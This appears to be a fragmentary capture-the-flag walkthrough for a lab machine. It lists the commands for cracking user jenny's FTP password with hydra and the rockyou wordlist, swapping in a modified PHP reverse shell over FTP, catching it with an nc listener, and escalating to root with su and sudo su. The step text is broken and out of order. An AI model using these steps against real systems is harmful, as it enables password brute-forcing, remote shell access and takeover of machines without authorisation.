- Step
- Step
- Step Before move to the starting the php script we need to start nc listener on attacking box with
- Step Now we are ready to start php script shell.php from browser:
- Step We get spawned reverse shell in terminal, with whoami command we check which user we have, then we can use
- Step After that we can use
We use hydra to crack new password with following command
hydra -l jenny -P /usr/share/wordlists/rockyou.txt ftp://target_IP
We log to the ftp and download the shell.php (get shell.php - is the command) and change IP and port to our attack box and upload it back (put shell.php)
nc -lvnp port_number
IP_target_machine/shell.php
su jenny
and log in with pass we cracked before with hydrasudo su
and we have root access with this we can read root flag.